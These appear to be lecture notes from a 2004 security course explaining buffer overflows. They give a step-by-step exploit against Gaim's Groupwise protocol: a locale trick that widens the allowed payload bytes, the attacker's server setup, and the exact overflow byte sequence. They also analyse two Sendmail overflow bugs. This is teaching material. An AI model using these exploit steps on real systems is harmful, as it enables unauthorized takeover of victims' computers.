The Daily Mirror, 2004.09.13:

“Batman protestor invades Palace

“A Fathers 4 Justice protestor dressed as Batman was today protesting on a balcony at Buckingham Palace. . . .

“Fathers 4 Justice have become notorious for their high profile publicity stunts.

“Recently two protesters hurled condoms filled with purple flour at Tony Blair during Prime Minister’s Question Time at the House of Commons. That highlighted lax security amid fears the chamber was under biological attack.”

Assignment due 2004.09.03: Read Gaim.
`http://cr.yp.to/2004-494/gaim.html`

Assignment due 2004.09.08: read
textbook Chapter 7 pages 277–308.

Assignment due 2004.09.15: read
textbook Chapter 7 pages 309–336.

Assignment due 2004.09.17: read
textbook Chapter 7 pages 360–366.

Alternatives to alphabetic payload

1. Can put non-alphabetic payload somewhere else in memory.
Payload and smasher can be separate.

2. Check more carefully: maybe the input doesn't have to be alphabetic!
In particular, I do not think `isalpha` means what you think it means.

3. Often can take over using a pure smasher without a payload.
This also dodges NX "protection."
Will come back to this.

Example of technique 2 for Gaim:

Program calls `setlocale` so
`isalpha` depends on user's "locale."

USA: `41` through `5a`, `61` through `7a`.

France: `41` through `5a`, `61` through `7a`,
`aa`, `c0` through `d6`, `d8` through `f6`,
`f8` through `ff`.
(Some systems: slightly different.)

So, for French targets, many more bytes
are allowed into `keyword` buffer.
Far fewer restrictions on payload and
smasher.

Try `env LANG=french ./thisprogram`:

```
#include <stdio.h>
#include <ctype.h>
#include <locale.h>
int main()
{
  int i;
  setlocale(LC_ALL,"");
  for (i = 0;i < 256;++i)
    if (isalpha(i))
      printf("%2x\n",i);
  printf("\n");
  return 0;
}
```

Some systems: `LANG=fr_FR.ISO8859-1`.

`LANG` names are not standardized.

Carrying out an attack

Assume attacker controls computer with IP address 1.2.3.4.

Attacker installs `OpenSSL`, `stunnel`, `ucspi-tcp`.

Runs `openssl req -x509 -days 3650 -nodes -newkey rsa:1024 -out stunnel.pem -keyout stunnel.pem`.

Creates file `stunnel-doit`:

```
cert = stunnel.pem
exec = ./doit
execargs = doit
```

Runs `tcpserver 1.2.3.4 8300 stunnel stunnel-doit`.

Now, if anyone on the Internet makes
an SSL connection to 1.2.3.4 port 8300,
attacker's computer will run `doit`
with standard input and standard output
talking to that connection.

Attacker creates `doit` program that reads
4 lines (Gaim's login) from standard input
and prints the following bytes:
`6c 00 00 00`; `00 00 00 00`;
`29 e1 f5 05` (i.e., 100000041);
100 million `90`'s;
the 41-byte `fingerd` payload;
`00 00 00 00`; `41 00 00 00`;
backslash; sixty `55`'s;
`ff ff ff aa` (alphabetic!).

Victim: French user on a Linux computer with IP address 5.6.7.8. User runs Gaim and tells Gaim to connect through Groupwise to IP address 1.2.3.4.

Gaim reads the 100000041 bytes into a `guid` buffer.

The backslash, `55`'s, `ff ff ff aa` are put into `msg`.
The `55`'s and `ff ff ff aa` overflow `keyword`.
`ff ff ff aa` smashes return address.

Address `aaffffff` is inside `guid`, so Gaim runs attacker's payload.

Server is authorized by victim to
display messages on victim's screen.
Server is not authorized to run
server-specified code on victim's computer
(e.g., to change victim's files);
but server has managed to do this.

Unauthorized power = security hole.

This isn't the victim's fault.
Victim is using Gaim as documented.
It's Gaim's fault—specifically, the fault
of the `keyword` buffer-overflow bug.

Is this code deployed? Yes: Google
shows people using Gaim with Groupwise.

Some Sendmail buffer overflows

```
while (*tz != '\0')
  *q++ = *tz++;
```

How do we know `*q` is inside array?
We don't! `tz` could be too long.

`tz` is the name of a
user-specified time zone.
On many systems, user can
specify long time-zone names,
overflowing array that `q` points to.

This bug lets user take over Sendmail.
Sendmail runs as `root`: it has
complete control over the computer.

```
int first;
register int i;
...
i = 0;
while (isdigit(*s))
  i = i * 10 + (*s++ - '0');
first = i;
...
if (first >= tTsize)
  first = tTsize - 1;
tTvect[first] = i;
```

`tTsize` is 100.

`tTvect` is an array of 100 `int`s.

Didn't we check that `tTvect[first]` is inside array? Actually, we didn't!

`int` values are `-2147483648`,
`-2147483647`, . . . , `2147483647`.
Arithmetic is modulo 2^{32}.

`214748464 * 10` is `-2147482656`.

If `s` is `"2147484648"`
then `first` is set to `-2147482648`.

`>= tTsize`? No; skip.

`first` is then multiplied by
`sizeof(int)`, i.e., by 4.
`4 * -2147482648` is `4000`.
So write to `tTvect[1000]`. Oops!

Attacker controls `s` and final `i`,
so can take control of computer.